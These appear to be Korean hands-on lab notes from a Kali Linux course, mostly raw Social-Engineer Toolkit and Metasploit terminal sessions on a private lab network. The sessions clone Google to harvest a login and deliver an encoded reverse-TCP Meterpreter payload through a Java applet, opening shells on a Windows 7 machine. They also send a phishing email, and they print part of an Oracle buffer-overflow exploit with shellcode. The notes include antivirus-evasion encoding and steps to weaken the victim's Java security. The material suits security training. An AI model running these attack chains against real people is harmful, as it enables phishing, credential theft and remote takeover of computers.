Note that the Social-Engineer Toolkit is provided as is, and is a royalty free open-source application.

Feel free to modify, use, change, market, do whatever you want with it as long as you give the appropriate credit where credit
is due (which means giving the authors the credit they deserve for writing it). Also note that by using this software, if you ever
see the creator of SET in a bar, you should give him a hug and buy him a beer. Hug must last at least 5 seconds. Author
holds the right to refuse the hug or the beer.

The Social-Engineer Toolkit is designed purely for good and not evil. If you are planning on using this tool for malicious purposes that are
not authorized by the company you are performing assessments for, you are violating the terms of service and license of this toolset. By hitting
yes (only one time), you agree to the terms of service and that you will only use this tool for lawful purposes only.

Do you agree to the terms of service [y/n]: y


          !\_________________________/!\
          !!                         !! \
          !! Social-Engineer Toolkit !!  \
          !!                         !!  !
          !!          Free           !!  !
          !!                         !!  !
          !!          #hugs          !!  !
          !!                         !!  !
          !!      By: TrustedSec     !!  /
          !!_________________________!! /
          !/_________________________\!/
             __\_________________/__/!_
            !_______________________!/
          ________________________
         /oooo  oooo  oooo  oooo /!
        /ooooooooooooooooooooooo/ /
       /ooooooooooooooooooooooo/ /
      /C=_____________________/_/

[---]        The Social-Engineer Toolkit (SET)         [---]
[---]        Created by: David Kennedy (ReL1K)         [---]
[---]                 Version: 6.0                     [---]
[---]             Codename: 'Rebellion'                [---]
[---]        Follow us on Twitter: @TrustedSec         [---]
[---]        Follow me on Twitter: @HackingDave        [---]
[---]       Homepage: https://www.trustedsec.com       [---]

        Welcome to the Social-Engineer Toolkit (SET).
         The one stop shop for all of your SE needs.

     Join us on irc.freenode.net in channel #setoolkit

   The Social-Engineer Toolkit is a product of TrustedSec.

             Visit: https://www.trustedsec.com

 Select from the menu:

   1) Social-Engineering Attacks
   2) Fast-Track Penetration Testing
   3) Third Party Modules
   4) Update the Metasploit Framework
   5) Update the Social-Engineer Toolkit
   6) Update SET configuration
   7) Help, Credits, and About

  99) Exit the Social-Engineer Toolkit

set> 4
[*] You are running Kali Linux which maintains SET updates.
[*] You can enable bleeding-edge repos for up-to-date SET.
[*] Checking to see if bleeding-edge repos are active.
[*] Bleeding edge already active..Moving on..

..... (중략) ......

 Select from the menu:

   1) Social-Engineering Attacks
   2) Fast-Track Penetration Testing
   3) Third Party Modules
   4) Update the Metasploit Framework
   5) Update the Social-Engineer Toolkit
   6) Update SET configuration
   7) Help, Credits, and About

  99) Exit the Social-Engineer Toolkit

set> 5
[-] New set_config.py file generated on: 2014-07-21 13:49:43.152309
[-] Verifying configuration update...
[!] Update failed? Timestamp on config file is: 2014-07-21 13:45:07.325217
[*] SET is using the new config, no need to restart

..... (중략) ......

 Select from the menu:

   1) Social-Engineering Attacks
   2) Fast-Track Penetration Testing
   3) Third Party Modules
   4) Update the Metasploit Framework
   5) Update the Social-Engineer Toolkit
   6) Update SET configuration
   7) Help, Credits, and About

  99) Exit the Social-Engineer Toolkit

set> 1

..... (중략) .....
 


Select from the menu:

   1) Spear-Phishing Attack Vectors
   2) Website Attack Vectors
   3) Infectious Media Generator
   4) Create a Payload and Listener
   5) Mass Mailer Attack
   6) Arduino-Based Attack Vector
   7) SMS Spoofing Attack Vector
   8) Wireless Access Point Attack Vector
   9) QRCode Generator Attack Vector
  10) Powershell Attack Vectors
  11) Third Party Modules

  99) Return back to the main menu.

set> 2

The Web Attack module is  a unique way of utilizing multiple web-based attacks in order to compromise the intended victim.

The Java Applet Attack method will spoof a Java Certificate and deliver a metasploit based payload. Uses a customized java applet created by Thomas Werth to deliver the payload.

The Metasploit Browser Exploit method will utilize select Metasploit browser exploits through an iframe and deliver a Metasploit payload.

The Credential Harvester method will utilize web cloning of a web- site that has a username and password field and harvest all the information posted to the website.

The TabNabbing method will wait for a user to move to a different tab, then refresh the page to something different.

The Web-Jacking Attack method was introduced by white_sheep, emgent. This method utilizes iframe replacements to make the highlighted URL link to appear legitimate however when clicked a window pops up then is replaced with the malicious link. You can edit the link replacement settings in the set_config if its too slow/fast.

The Multi-Attack method will add a combination of attacks through the web attack menu. For example you can utilize the Java Applet, Metasploit Browser, Credential Harvester/Tabnabbing all at once to see which is successful.

   1) Java Applet Attack Method
   2) Metasploit Browser Exploit Method
   3) Credential Harvester Attack Method
   4) Tabnabbing Attack Method
   5) Web Jacking Attack Method
   6) Multi-Attack Web Method
   7) Full Screen Attack Method

  99) Return to Main Menu

set:webattack> 3

 The first method will allow SET to import a list of pre-defined web
 applications that it can utilize within the attack.

 The second method will completely clone a website of your choosing
 and allow you to utilize the attack vectors within the completely
 same web application you were attempting to clone.

 The third method allows you to import your own website, note that you
 should only have an index.html when using the import website
 functionality.
  
   1) Web Templates
   2) Site Cloner
   3) Custom Import

  99) Return to Webattack Menu

set:webattack> 1
[-] Credential harvester will allow you to utilize the clone capabilities within SET
[-] to harvest credentials or parameters from a website as well as place them into a report
[-] This option is used for what IP the server will POST to.
[-] If you're using an external IP, use your external IP for this
set:webattack> IP address for the POST back in Harvester/Tabnabbing:192.168.20.50

  1. Java Required
  2. Google
  3. Facebook
  4. Twitter
  5. Yahoo

set:webattack> Select a template: 2
[*] Cloning the website: http://www.google.com
[*] This could take a little bit...

The best way to use this attack is if username and password form
fields are available. Regardless, this captures all POSTs on a website.
[*] Apache is set to ON - everything will be placed in your web root directory of apache.
[*] Files will be written out to the root directory of apache.
[*] ALL files are within your Apache directory since you specified it to ON.
[!] Apache may be not running, do you want SET to start the process? [y/n]:y

[ ok ] Starting web server: apache2.
Apache webserver is set to ON. Copying over PHP file to the website.
Please note that all output from the harvester will be found under apache_dir/harvester_date.txt
Feel free to customize post.php in the /var/www directory
[*] All files have been copied to /var/www
{Press return to continue}

 [TERM2]
 # cd /var/www
 # ls
 # cat index.html
 # cat post.php
 # cat harvester_*.txt
 # pgrep -lf apache2

The Web Attack module is  a unique way of utilizing multiple web-based attacks in order to compromise the intended victim.

The Java Applet Attack method will spoof a Java Certificate and deliver a metasploit based payload. Uses a customized java applet created by Thomas Werth to deliver the payload.

The Metasploit Browser Exploit method will utilize select Metasploit browser exploits through an iframe and deliver a Metasploit payload.

The Credential Harvester method will utilize web cloning of a web- site that has a username and password field and harvest all the information posted to the website.

The TabNabbing method will wait for a user to move to a different tab, then refresh the page to something different.

The Web-Jacking Attack method was introduced by white_sheep, emgent. This method utilizes iframe replacements to make the highlighted URL link to appear legitimate however when clicked a window pops up then is replaced with the malicious link. You can edit the link replacement settings in the set_config if its too slow/fast.

The Multi-Attack method will add a combination of attacks through the web attack menu. For example you can utilize the Java Applet, Metasploit Browser, Credential Harvester/Tabnabbing all at once to see which is successful.

   1) Java Applet Attack Method
   2) Metasploit Browser Exploit Method
   3) Credential Harvester Attack Method
   4) Tabnabbing Attack Method
   5) Web Jacking Attack Method
   6) Multi-Attack Web Method
   7) Full Screen Attack Method

  99) Return to Main Menu

set:webattack> 99

..... (중략) .....

 Select from the menu:

   1) Spear-Phishing Attack Vectors
   2) Website Attack Vectors
   3) Infectious Media Generator
   4) Create a Payload and Listener
   5) Mass Mailer Attack
   6) Arduino-Based Attack Vector
   7) SMS Spoofing Attack Vector
   8) Wireless Access Point Attack Vector
   9) QRCode Generator Attack Vector
  10) Powershell Attack Vectors
  11) Third Party Modules

  99) Return back to the main menu.

set> 99

..... (중략) .....

 Select from the menu:

   1) Social-Engineering Attacks
   2) Fast-Track Penetration Testing
   3) Third Party Modules
   4) Update the Metasploit Framework
   5) Update the Social-Engineer Toolkit
   6) Update SET configuration
   7) Help, Credits, and About

  99) Exit the Social-Engineer Toolkit

set> 99

 Thank you for shopping with the Social-Engineer Toolkit.

 Hack the Gibson...and remember...hugs are worth more than handshakes.


#

(windows7)
인터넷 익스플러워
-> http://192.168.20.50/
-> 구글 사이트가 보임

 ID : 이메일
 PASS: 암호


(Kali Linux)
# cd /var/www
# cat harvester_*.txt

Array
(
    [GALX] => SJLCkfgaqoM
    [continue] => https://accounts.google.com/o/oauth2/auth?zt=ChRsWFBwd2JmV1hIcDhtUFdldzBENhIfVWsxSTdNLW9MdThibW1TMFQzVUZFc1BBaURuWmlRSQ%E2%88%99APsBz4gAAAAAUy4_qD7Hbfz38w8kxnaNouLcRiD3YTjX
    [service] => lso
    [dsh] => -7381887106725792428
    [_utf8] => ☃
    [bgresponse] => js_disabled
    [pstMsg] => 1
    [dnConn] =>
    [checkConnection] =>
    [checkedDomains] => youtube
    [Email] => jang4sc@hanmail.net
    [Passwd] => test1234
    [signIn] => Sign in
    [PersistentCookie] => yes
)

 

 (정리) 이전의 작업과 비교해 보자
 (이전 실습) ARP Spoofing + DNS Spoofing
 (현재 실습) Fake Site 구성 + ID/PASS 수집


(Kali Linux)
# setoolkit

..... (중략) .....

 Select from the menu:

   1) Social-Engineering Attacks
   2) Fast-Track Penetration Testing
   3) Third Party Modules
   4) Update the Metasploit Framework
   5) Update the Social-Engineer Toolkit
   6) Update SET configuration
   7) Help, Credits, and About

  99) Exit the Social-Engineer Toolkit

set> 1

..... (중략) .....

 Select from the menu:

   1) Spear-Phishing Attack Vectors
   2) Website Attack Vectors
   3) Infectious Media Generator
   4) Create a Payload and Listener
   5) Mass Mailer Attack
   6) Arduino-Based Attack Vector
   7) SMS Spoofing Attack Vector
   8) Wireless Access Point Attack Vector
   9) QRCode Generator Attack Vector
  10) Powershell Attack Vectors
  11) Third Party Modules

  99) Return back to the main menu.

set> 2

The Web Attack module is  a unique way of utilizing multiple web-based attacks in order to compromise the intended victim.

The Java Applet Attack method will spoof a Java Certificate and deliver a metasploit based payload. Uses a customized java applet created by Thomas Werth to deliver the payload.

The Metasploit Browser Exploit method will utilize select Metasploit browser exploits through an iframe and deliver a Metasploit payload.

The Credential Harvester method will utilize web cloning of a web- site that has a username and password field and harvest all the information posted to the website.

The TabNabbing method will wait for a user to move to a different tab, then refresh the page to something different.

The Web-Jacking Attack method was introduced by white_sheep, emgent. This method utilizes iframe replacements to make the highlighted URL link to appear legitimate however when clicked a window pops up then is replaced with the malicious link. You can edit the link replacement settings in the set_config if its too slow/fast.

The Multi-Attack method will add a combination of attacks through the web attack menu. For example you can utilize the Java Applet, Metasploit Browser, Credential Harvester/Tabnabbing all at once to see which is successful.

   1) Java Applet Attack Method
   2) Metasploit Browser Exploit Method
   3) Credential Harvester Attack Method
   4) Tabnabbing Attack Method
   5) Web Jacking Attack Method
   6) Multi-Attack Web Method
   7) Full Screen Attack Method

  99) Return to Main Menu

set:webattack>1

 The first method will allow SET to import a list of pre-defined web
 applications that it can utilize within the attack.

 The second method will completely clone a website of your choosing
 and allow you to utilize the attack vectors within the completely
 same web application you were attempting to clone.

 The third method allows you to import your own website, note that you
 should only have an index.html when using the import website
 functionality.
  
   1) Web Templates
   2) Site Cloner
   3) Custom Import

  99) Return to Webattack Menu

set:webattack>1
[-] NAT/Port Forwarding can be used in the cases where your SET machine is
[-] not externally exposed and may be a different IP address than your reverse listener.
set> Are you using NAT/Port Forwarding [yes|no]: no
[-] Enter the IP address of your interface IP or if your using an external IP, what
[-] will be used for the connection back and to house the web server (your interface address)
set:webattack> IP address or hostname for the reverse connection: 192.168.20.50

Select which option you want:

1. Make my own self-signed certificate applet.
2. Use the applet built into SET.
3. I have my own code signing certificate or applet.

Enter the number you want to use [1-3]: 2
[*] Okay! Using the one built into SET - be careful, self signed isn't accepted in newer versions of Java :(

  1. Java Required
  2. Google
  3. Facebook
  4. Twitter
  5. Yahoo

set:webattack> Select a template:2

[*] Cloning the website: http://www.google.com
[*] This could take a little bit...
[*] Injecting Java Applet attack into the newly cloned website.
[*] Filename obfuscation complete. Payload name is: llOdplapGIWHnqh
[*] Malicious java applet website prepped for deployment


What payload do you want to generate:

  Name:                                       Description:

   1) Windows Shell Reverse_TCP               Spawn a command shell on victim and send back to attacker
   2) Windows Reverse_TCP Meterpreter         Spawn a meterpreter shell on victim and send back to attacker
   3) Windows Reverse_TCP VNC DLL             Spawn a VNC server on victim and send back to attacker
   4) Windows Bind Shell                      Execute payload and create an accepting port on remote system
   5) Windows Bind Shell X64                  Windows x64 Command Shell, Bind TCP Inline
   6) Windows Shell Reverse_TCP X64           Windows X64 Command Shell, Reverse TCP Inline
   7) Windows Meterpreter Reverse_TCP X64     Connect back to the attacker (Windows x64), Meterpreter
   8) Windows Meterpreter All Ports           Spawn a meterpreter shell and find a port home (every port)
   9) Windows Meterpreter Reverse HTTPS       Tunnel communication over HTTP using SSL and use Meterpreter
  10) Windows Meterpreter Reverse DNS         Use a hostname instead of an IP address and spawn Meterpreter
  11) SE Toolkit Interactive Shell            Custom interactive reverse toolkit designed for SET
  12) SE Toolkit HTTP Reverse Shell           Purely native HTTP shell with AES encryption support
  13) RATTE HTTP Tunneling Payload            Security bypass payload that will tunnel all comms over HTTP
  14) ShellCodeExec Alphanum Shellcode        This will drop a meterpreter payload through shellcodeexec
  15) PyInjector Shellcode Injection          This will drop a meterpreter payload through PyInjector
  16) MultiPyInjector Shellcode Injection     This will drop multiple Metasploit payloads via memory
  17) Import your own executable              Specify a path for your own executable

set:payloads>2

Select one of the below, 'backdoored executable' is typically the best. However,
most still get picked up by AV. You may need to do additional packing/crypting
in order to get around basic AV detection.

   1) shikata_ga_nai
   2) No Encoding
   3) Multi-Encoder
   4) Backdoored Executable

set:encoding>1
set:payloads> PORT of the listener [443]: <ENTER>
[*] Generating x86-based powershell injection code for port: 22
[*] Generating x86-based powershell injection code for port: 53
[*] Generating x86-based powershell injection code for port: 443
[*] Generating x86-based powershell injection code for port: 21
[*] Generating x86-based powershell injection code for port: 25
[*] Finished generating powershell injection bypass.
[*] Encoded to bypass execution restriction policy...
[-] Encoding the payload 4 times. [-]

[*] x86/shikata_ga_nai succeeded with size 314 (iteration=1)

[*] x86/shikata_ga_nai succeeded with size 341 (iteration=2)

[*] x86/shikata_ga_nai succeeded with size 368 (iteration=3)

[*] x86/shikata_ga_nai succeeded with size 395 (iteration=4)

[*] Apache appears to be running, moving files into Apache's home

***************************************************
Web Server Launched. Welcome to the SET Web Attack.
***************************************************

[--] Tested on Windows, Linux, and OSX [--]
[--] Apache web server is currently in use for performance. [--]
[*] Moving payload into cloned website.
[*] The site has been moved. SET Web Server is now listening..
[-] Launching MSF Listener...
[-] This may take a few to load MSF...
IIIIII    dTb.dTb        _.---._
  II     4'  v  'B   .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt


Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with
Metasploit Pro -- learn more on http://rapid7.com/metasploit

       =[ metasploit v4.9.3-2014071601 [core:4.9 api:1.0] ]
+ -- --=[ 1322 exploits - 717 auxiliary - 210 post        ]
+ -- --=[ 346 payloads - 35 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

[*] Processing /root/.set/meta_config for ERB directives.
resource (/root/.set/meta_config)> use exploit/multi/handler
resource (/root/.set/meta_config)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (/root/.set/meta_config)> set LHOST 192.168.20.50
LHOST => 192.168.20.50
resource (/root/.set/meta_config)> set EnableStageEncoding false
EnableStageEncoding => false
resource (/root/.set/meta_config)> set ExitOnSession false
ExitOnSession => false
resource (/root/.set/meta_config)> set LPORT 22
LPORT => 22
resource (/root/.set/meta_config)> exploit -j
[*] Exploit running as background job.
resource (/root/.set/meta_config)> use exploit/multi/handler
resource (/root/.set/meta_config)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (/root/.set/meta_config)> set LHOST 192.168.20.50
LHOST => 192.168.20.50
resource (/root/.set/meta_config)> set EnableStageEncoding false
EnableStageEncoding => false
resource (/root/.set/meta_config)> set ExitOnSession false
ExitOnSession => false
resource (/root/.set/meta_config)> set LPORT 53
LPORT => 53
resource (/root/.set/meta_config)> exploit -j
[*] Exploit running as background job.
resource (/root/.set/meta_config)> use exploit/multi/handler
resource (/root/.set/meta_config)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (/root/.set/meta_config)> set LHOST 192.168.20.50
LHOST => 192.168.20.50
resource (/root/.set/meta_config)> set EnableStageEncoding false
[*] Started reverse handler on 192.168.20.50:22
[*] Starting the payload handler...
EnableStageEncoding => false
resource (/root/.set/meta_config)> set ExitOnSession false
ExitOnSession => false
resource (/root/.set/meta_config)> set LPORT 443
LPORT => 443
resource (/root/.set/meta_config)> exploit -j
[*] Exploit running as background job.
resource (/root/.set/meta_config)> use exploit/multi/handler
[*] Started reverse handler on 192.168.20.50:53
[*] Starting the payload handler...
resource (/root/.set/meta_config)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (/root/.set/meta_config)> set LHOST 192.168.20.50
LHOST => 192.168.20.50
resource (/root/.set/meta_config)> set EnableStageEncoding false
EnableStageEncoding => false
resource (/root/.set/meta_config)> set ExitOnSession false
[*] Started reverse handler on 192.168.20.50:443
ExitOnSession => false
[*] Starting the payload handler...
resource (/root/.set/meta_config)> set LPORT 21
LPORT => 21
resource (/root/.set/meta_config)> exploit -j
[*] Exploit running as background job.
resource (/root/.set/meta_config)> use exploit/multi/handler
resource (/root/.set/meta_config)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (/root/.set/meta_config)> set LHOST 192.168.20.50
LHOST => 192.168.20.50
resource (/root/.set/meta_config)> set EnableStageEncoding false
EnableStageEncoding => false
resource (/root/.set/meta_config)> set ExitOnSession false
ExitOnSession => false
resource (/root/.set/meta_config)> set LPORT 25
LPORT => 25
resource (/root/.set/meta_config)> exploit -j
[*] Started reverse handler on 192.168.20.50:21
[*] Starting the payload handler...
[*] Exploit running as background job.
msf exploit(handler) >
[*] Started reverse handler on 192.168.20.50:25
[*] Starting the payload handler...

 

 

(windows 7)

(필요하면) JAVA 설치(https://java.com/ko/download/ie_manual.jsp?locale=ko)
(주의) 시작
 > 모든 프로그램
 > java
 > java 구성("Configure Java")
 > 보안 탭
 > 보안 레벨을 낮춘다.
  "높음" 선택
  예외 사항 사이트 등록
   http://192.168.20.50
   https://192.168.20.50
 > 적용

Mozilla Firefox를 사용하여 접속한다.
http://192.168.20.50/
-> Java Selevet download 한다.
-> www.google.com 사이트로 포워딩 된다.


(Kali Linux)

[*] Started reverse handler on 192.168.20.50:21
[*] Starting the payload handler...
[*] Exploit running as background job.
msf exploit(handler) >
[*] Started reverse handler on 192.168.20.50:25
[*] Starting the payload handler...
[*] Sending stage (769536 bytes) to 192.168.20.202
[*] Meterpreter session 1 opened (192.168.20.50:443 -> 192.168.20.202:50752) at 2014-07-21 21:04:00 +0900
[*] Sending stage (769536 bytes) to 192.168.20.202
[*] Sending stage (769536 bytes) to 192.168.20.202
[*] Sending stage (769536 bytes) to 192.168.20.202
[*] Sending stage (769536 bytes) to 192.168.20.202
[*] Sending stage (769536 bytes) to 192.168.20.202
[*] Meterpreter session 2 opened (192.168.20.50:443 -> 192.168.20.202:50755) at 2014-07-21 21:04:03 +0900
[*] Meterpreter session 3 opened (192.168.20.50:25 -> 192.168.20.202:50758) at 2014-07-21 21:04:03 +0900
[*] Meterpreter session 4 opened (192.168.20.50:22 -> 192.168.20.202:50756) at 2014-07-21 21:04:03 +0900
[*] Meterpreter session 5 opened (192.168.20.50:21 -> 192.168.20.202:50759) at 2014-07-21 21:04:03 +0900
[*] Meterpreter session 6 opened (192.168.20.50:53 -> 192.168.20.202:50757) at 2014-07-21 21:04:03 +0900
<ENTER>
msf exploit(handler) > sessions -i

Active sessions
===============

  Id  Type                   Information                      Connection
  --  ----                   -----------                      ----------
  1   meterpreter x86/win32  soldesk-PC\soldesk @ SOLDESK-PC  192.168.20.50:443 ->
                                                     192.168.20.202:50752 (192.168.20.202)
  2   meterpreter x86/win32  soldesk-PC\soldesk @ SOLDESK-PC  192.168.20.50:443 ->
                                                     192.168.20.202:50755 (192.168.20.202)
  3   meterpreter x86/win32  soldesk-PC\soldesk @ SOLDESK-PC  192.168.20.50:25 ->
                                                     192.168.20.202:50758 (192.168.20.202)
  4   meterpreter x86/win32  soldesk-PC\soldesk @ SOLDESK-PC  192.168.20.50:22 ->
                                                     192.168.20.202:50756 (192.168.20.202)
  5   meterpreter x86/win32  soldesk-PC\soldesk @ SOLDESK-PC  192.168.20.50:21 ->
                                                     192.168.20.202:50759 (192.168.20.202)
  6   meterpreter x86/win32  soldesk-PC\soldesk @ SOLDESK-PC  192.168.20.50:53 ->
                                                     192.168.20.202:50757 (192.168.20.202)

msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : SOLDESK-PC
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64 (Current Process is WOW64)
System Language : ko_KR
Meterpreter     : x86/win32

meterpreter > quit
[*] Shutting down Meterpreter...

[*] 192.168.20.202 - Meterpreter session 1 closed.  Reason: User exit
msf exploit(handler) > quit
[*] You have active sessions open, to exit anyway type "exit -y"
msf exploit(handler) > exit -y

Press [return] when finished.
[*] Everything has been moved over to Apache and is ready to go.

      Press <return> to continue

 [TERM2] 다른 터미널에서
 # cd /var/www
 # ls

<ENTER>
<ENTER>
set:webattack>99
set> 99
set> 99

-> 종료한다.


 (정리) 이전의 작업과 비교해 보자
 (이전 설정) ARP Spoofing + DNS Spoofing
 (이전 설정) reverse_tcp(Backdoor)를 윈도우 PC에 직접 설치
 (현재 설정) Fake Site + Java Applet

 

 

[실습] 칼리 리눅스 사용하기 7
● 이메일을 통해 속이는 작업(스팸 메일)을 해 보자.

# cd /usr/share/set/config
# vi set_config

#
### Set to ON if you want to use Email in conjunction with webattack
#
[수정전]
WEBATTACK_EMAIL=OFF
[수정후]
WEBATTACK_EMAIL=ON

-> 구글 메일외에 다른 메일도 사용할 수 있도록 하기 위해서 설정한다.

# setookit

..... (중략) .....
 Select from the menu:

   1) Social-Engineering Attacks
   2) Fast-Track Penetration Testing
   3) Third Party Modules
   4) Update the Metasploit Framework
   5) Update the Social-Engineer Toolkit
   6) Update SET configuration
   7) Help, Credits, and About

  99) Exit the Social-Engineer Toolkit

set> 1

..... (중략) .....

Select from the menu:

   1) Spear-Phishing Attack Vectors
   2) Website Attack Vectors
   3) Infectious Media Generator
   4) Create a Payload and Listener
   5) Mass Mailer Attack
   6) Arduino-Based Attack Vector
   7) SMS Spoofing Attack Vector
   8) Wireless Access Point Attack Vector
   9) QRCode Generator Attack Vector
  10) Powershell Attack Vectors
  11) Third Party Modules

  99) Return back to the main menu.

set> 5

   Social Engineer Toolkit Mass E-Mailer

   There are two options on the mass e-mailer, the first would
   be to send an email to one individual person. The second option
   will allow you to import a list and send it to as many people as
   you want within that list.

   What do you want to do:

    1.  E-Mail Attack Single Email Address
    2.  E-Mail Attack Mass Mailer

    99. Return to main menu.
  
set:mailer>1
set:phishing> Send email to:jang4sc@gmail.com

  1. Use a gmail Account for your email attack.
  2. Use your own server or open relay

set:phishing>1
set:phishing> Your gmail email address:jang4sc@gmail.com
set:phishing> The FROM NAME the user will see:Baik,SeoungChan
Email password: (이메일 암호 입력)
set:phishing> Flag this message/s as high priority? [yes|no]:no
set:phishing> Email subject:Hi, Student
set:phishing> Send the message as html or plain? 'h' or 'p' [p]:<ENTER>
[!] IMPORTANT: When finished, type END (all capital) then hit {return} on a new line.
set:phishing> Enter the body of the message, type END (capitals) when finished:<ENTER>
Next line of the body: Hi, Student
Next line of the body: This mail is test.
Next line of the body: http://192.168.20.50    /* 링크 주소가 반드시 필요하다. */
Next line of the body: END
[*] SET has finished sending the emails

      Press <return> to continue

set> 99
set> 99

 

(window 7)
http://www.google.com
 ID: (자신의 이메일)
 PASS: (자신의 암호)

(에러메세지)

 

 

[실습] 칼리 리눅스 사용하기 8
● Exploit DB 사용하기(www.exploit-db.org)


Exploitation Tools > Explit Database > searchsploit

or

# searchsploit <검색단어> <검색단어> ...


# searchsploit

Usage: searchsploit [options] term1 [term2] ... [termN]
Example: searchsploit oracle windows local

=======
Options
=======

   -c                Perform case-sensitive searches; by default, searches will
                      try to be greedy
   -h, --help    Show help screen
   -v                By setting verbose output, description lines are allowed to
                      overflow their columns

*NOTES*
Use any number of search terms you would like (minimum of one).
Search terms are not case sensitive, and order is irrelevant.


# searchsploit oracle

 Description                                                                    Path
----------------------------------------------------------------------------- ----------------------------------
Oracle XDB FTP Service UNLOCK Buffer Overflow Exploit                        | /windows/remote/80.c
Oracle (oidldapd connect) Local Command Line Overflow Exploit                | /linux/local/183.c
Oracle Database Server <= 10.1.0.2 - Buffer Overflow Exploit                 | /windows/local/932.sql
Oracle Database PL/SQL Statement Multiple SQL Injection Exploits             | /windows/local/933.sql
Oracle 9.2.0.1 Universal XDB HTTP Pass Overflow Exploit                      | /windows/remote/1365.pm
Oracle Database Server 9i/10g (XML) Buffer Overflow Exploit                  | /windows/local/1455.txt
Oracle <= 10g Release 2 (DBMS_EXPORT_EXTENSION) Local SQL Exploit            | /multiple/local/1719.txt
Oracle <= 9i / 10g (read/write/execute) Exploitation Suite                   | /multiple/remote/2837.sql
..... (중략) .....
Oracle Demantra 12.2.1 - SQL Injection Vulnerability                         | /windows/webapps/31993.txt
Oracle Demantra 12.2.1 - Stored XSS Vulnerability                            | /windows/webapps/31994.txt
Oracle Demantra 12.2.1 - Database Credentials Disclosure                     | /windows/webapps/31995.txt
Oracle VirtualBox 3D Acceleration - Multiple Vulnerabilities                 | /multiple/dos/32208.txt
Oracle Database Server <= 11.1 'CREATE ANY DIRECTORY' Privilege Escalation V | /multiple/remote/32475.sql
Oracle Identity Manager 11g R2 SP1 (11.1.2.1.0) - Unvalidated Redirects      | /php/webapps/32670.txt


# searchsploit oracle | wc -l

197


# searchsploit oracle windows

..... (중략) .....
Oracle Java lookUpByteBI - Heap Buffer Overflow                              | /windows/dos/28050.txt
Oracle Java ShortComponentRaster.verify() Memory Corruption                  | /windows/remote/28331.txt
Oracle Outside In MDB - File Parsing Stack Based Buffer Overflow PoC         | /windows/dos/31222.py
Oracle Forms and Reports - Remote Code Execution                             | /windows/remote/31737.rb
Oracle Demantra 12.2.1 - Arbitrary File Disclosure                           | /windows/webapps/31992.txt
Oracle Demantra 12.2.1 - SQL Injection Vulnerability                         | /windows/webapps/31993.txt
Oracle Demantra 12.2.1 - Stored XSS Vulnerability                            | /windows/webapps/31994.txt
Oracle Demantra 12.2.1 - Database Credentials Disclosure                     | /windows/webapps/31995.txt


# searchsploit oracle windows | wc -l

71


# searchsploit oracle windows local

----------------------------------------------------------------------------- ----------------------------------
Oracle Database Server <= 10.1.0.2 - Buffer Overflow Exploit                 | /windows/local/932.sql
Oracle Database PL/SQL Statement Multiple SQL Injection Exploits             | /windows/local/933.sql
Oracle Database Server 9i/10g (XML) Buffer Overflow Exploit                  | /windows/local/1455.txt
Oracle 10g (PROCESS_DUP_HANDLE) Local Privilege Elevation (win32)            | /windows/local/3451.c
Oracle 10/11g exp.exe - param file Local Buffer Overflow PoC Exploit         | /windows/local/16169.py
Oracle 8/9i DBSNMP Oracle Home Environment Variable Buffer Overflow          | /windows/local/21044.c


# cd /usr/share/exploitdb/platforms
# ls

aix      bsdi_x86        immunix     linux_mips   openbsd      sco_x86        webapps
android  cfm             ios         linux_ppc    openbsd_x86  sh4            win32
arm      cgi             irix        linux_sparc  osx          solaris        win64
asp      freebsd         java        minix        osx_ppc      solaris_sparc  windows
atheos   freebsd_x86     jsp         mips         palm_os      solaris_x86
beos     freebsd_x86-64  lin_amd64   multiple     php          tru64
bsd      generator       lin_x86     netbsd_x86   plan9        ultrix
bsd_ppc  hardware        lin_x86-64  netware      qnx          unix
bsd_x86  hp-ux           linux       novell       sco          unixware


# cd windows/local
# ls

..... (중략) .....
16169.py


# vi 16169.py

#!/usr/bin/python
# Oracle 10/11g exp.exe - param file Local Buffer Overflow PoC Exploit
# Date found approx: 9/3/2010
# Software Link: http://www.oracle.com/technology/products/database/oracle10g/index.html
# Version: 10.x and 11g r1 (r2 untested)
# Tested on: Windows XP SP3 En
# Usage:
# $ORACLE_HOME\exp.exe system parfile=overflow_oracle_exp.txt

def banner():
    print "\n\t| ------------------------------------- |"
    print "\t| Oracle exp.exe code execution explo!t |"
    print "\t| by mr_me - net-ninja.net ------------ |\n"

header = ("\x69\x6E\x64\x65\x78\x65\x73\x3D\x6E\x0D\x0A\x6C\x6F\x67\x3D\x72\x65\x73\x75"
"\x6C\x74\x73\x2E\x74\x78\x74\x0D\x0A\x66\x69\x6C\x65\x3D");

# aligned to edx
egghunter= ("JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIQvK1"
"9ZKO6orbv2bJgr2xZmtnulfePZPthoOHbwFPtpbtLKkJLo1eJJloPuKW9okWA");
..... (중략) .....

 

 

 

 

 

 

[실습] 칼리 리눅스 사용하기 9
● BeEF(비프) XSS 프레임워크: 사용자 권한 획득

BeEF(Browser Exploit Framwork)
● 사용자 웹 브라우저로 웹페이지를 읽을 때 자바 스크립트 형태로 동작하며, 사용자 PC의 정보 수집 부터 메타 스플로잇 모듈을 이용한 광범위한 공격까지 가능한 도구이다.

XSS(Cross Side Script) 취약점
● 웹에서 사용하는 클라이언트 스크립트인 자바스크립트, VB 스크립트, CSS, 에이젝스(Ajax)등을 통해 스크립트에 접근한 사용자들에 특정한 액션을 일으키게 하는 것을 의미한다.
● 특정한 액셕이라는 것은 악성 코드 유포나, 윔, 바이러스 배포등이 보통의 목적이다. 또한 사용자 정보를 수집할 수도 있다.

XSS 취약점(웹 애플리케이션의 모든 변수 입력값에 대한 테스트)의 분류
